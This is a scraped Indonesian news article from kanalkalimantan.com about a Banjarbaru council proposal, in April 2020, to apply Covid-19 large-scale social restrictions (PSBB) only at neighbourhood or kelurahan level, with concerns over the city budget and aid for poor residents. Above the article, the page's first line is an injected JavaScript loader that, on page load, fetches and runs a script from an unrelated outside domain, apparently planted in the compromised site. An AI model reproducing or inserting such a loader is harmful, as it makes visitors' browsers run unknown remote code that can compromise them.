(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ADV DPRD BANJARBARU

Komisi I Usulkan PSBB Tingkat RT atau Kelurahan, Mampukah Anggaran Pemko Banjarbaru?


KANALKALIMANTAN.COM, BANJARBARU – Usulan penerapan Pembatasan Sosial Berskala Besar (PSBB) di kota Banjarbaru kini telah begulir dan sedang dikaji Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel). Di sisi lain, Pemerintah Kota (Pemko) Banjarbaru juga mulai mempersiapkan semua keperluan jika usulan penerapan PSBB ini disetujui oleh Kementrian Kesehatan (Kemenkes) RI.

Lalu, sudah siapkah kota berjuluk idaman ini menerapkan PSBB?

Ketua Komisi I DPRD Banjarbaru HR Budimansyah mengatakan, pihaknya sangat mendukung apabila PSBB disetujui untuk diterapkan. Mengingat, dirinya meyakini dengan adanya PSBB mampu menekan laju penyebaran kasus baru Covid-19 di Banjabaru.

Namun begitu, dirinya juga menegaskan perlu adanya pembahasan yang menyeluruh ihwal kesiapan PSBB di Banjarbaru. Ia mengatakan pembahasan terkait PSBB ini harus secara komprehensif dengan melibatkan para ahli.

“Saya mendukung, tapi harus dipikirkan matang-matang. Perlu ada kajian dari ahli epidemiologi dan pertimbangan kesiapan Banjarbaru dalam aspek sosial, ekonomi, serta aspek lainnya oleh tim teknis,” katanya, Selasa (21/4/2020) siang.

Menurut Budiman, ada sejumlah aspek yang saat ini memberatkan penerapan PSBB di Banjarbaru. Salah satunya, berbicara soal anggaran. Dijelaskannya bahwa Pemko Banjarbaru harus kembali ‘memutar otak’ untuk mengumpulkan anggaran yang cukup selama nantinya PSBB berlangsung.

“Menyediakan anggaran Rp 28 miliar untuk penanganan pencegahan Covid-19, Pemko sudah melakukan berbagai pergeseran anggaran. Nah, bagaimana dengan untuk PSBB? Anggaran mana lagi yang digeser. Untuk bantuan sembako ke masyarakat yang terdampak saja, ASN sampai menyumbang gaji. Fakta inilah yang saya sebut aspek yang memberatkan,” katanya.

Atas hal tersebut, politisi PDIP ini mengusulkan jika PSBB di Banjarbaru nantinya tidak harus diterapkan secara umum. Ia menuturkan PSBB di Banjarbaru bisa saja diterapkan hanya di wilayah-wilayah tertentu yang terdapat kasus postif Covid-19.

“Melihat aspek-aspek ini, saya mengusulkan jika PSBB diterapkan setingkat RT/RW atau Kelurahan. Maka dengan begitu, anggaran juga lebih mudah diakomodir dan jelas peruntukannya,” tutur Budiman.

Peringatan Hari Jadi ke-21 Kota Banjarbaru, Senin (20/4/2020). foto: humpro banjarbaru

Senada dengan tanggapan Budiman, Anggota Komisi III DRPD Banjarbaru, Emi Lasari juga mengungkapkan, Pemko Banjarbaru harus benar-benar menyiapkan dan memastikan beberapa hal sebelum mengusulkan penerapan PSBB. Dalam hal ini yang perlu disoroti ialah ketersediaan kebutuhan dasar dan bantuan kebutuhan dasar bagi masyarakat miskin dan terdampak langsung.

“Dengan menerapakan PSBB, maka masyarakat berpenghasilan harian bahkan mingguan akan sulit untuk mencari nafkah. Sebab, semuanya akan melaksanakan pembatasan gerakan dengan tetap tinggal di rumah dan keluar jika sangat penting. Nah, Pemko harus benar-benar menghitung dan menjamin ketersediaan kebutuhan dan layanan dadar bagi masyarakat agar kehidupan sosial bisa berjalan lancar,” katanya.

Sekadar diketahui bahwa wancana penerapan PSBB di Banjarbaru ini menyusul disetujuinya penerapan PSBB di Kota Banjarmasin. Hal itu tertuang melalui Surat Keputusan (SK) Menteri Kesehatan RI Nomor HK.01.07./MENKES/262/2020, pada Minggu tanggal 19 April 2020. Kabar baik ini mencuat diseluruh penjuru daerah provinsi Kalsel.

Belum selang 24 jam sejak munculnya kabar ini, wacana baru kembali di hadirkan oleh Pemprov Kalsel yang berencana untuk mengusulkan tiga daerah lainnya untuk menyusul penerapan PSBB. Pada Senin (20/4/2020) siang, Pemprov Kalsel mengundang pejabat tinggi di 3 daerah untuk melakukan pembahasan terkait wacana ini.

Ketiga daerah tersebut merupakan penyangga Kota Banjarmasin yakni, Kota Banjarbaru, Kabupaten Banjar dan Kabupaten Barito Kuala (Batola).

Dalam hal ini, Pemprov Kalsel menilai bahwa penerapan PSBB tidak akan efektif jika hanya diberlakukan di Banjarmasin. Sebab, pergerakan orang-orang yang keluar-masuk di Banjarmasin begitu aktif setiap harinya. Sebagai contoh, banyak warga asli Banjarmasin yang bekerja di Banjarbaru dan demikian juga sebaliknya. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

4 jam ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

10 jam ago

Dr Gustava Yandi Dilantik Menjadi Pj Sekda Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More

11 jam ago

Deretan Film Terbaik, Spesial Menemani Akhir Tahunmu Bersama RCTI!

KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More

13 jam ago

Wujudkan Mimpi dalam Satu Malam, Saksikan Dangdut Mania Dadakan (DMD) Panggung Rezeki di MNCTV

KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More

13 jam ago

Rumah Tinggal Arang, 13 Karung Padi Nenek Asniah Ikut Ludes

KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More

13 jam ago

This website uses cookies.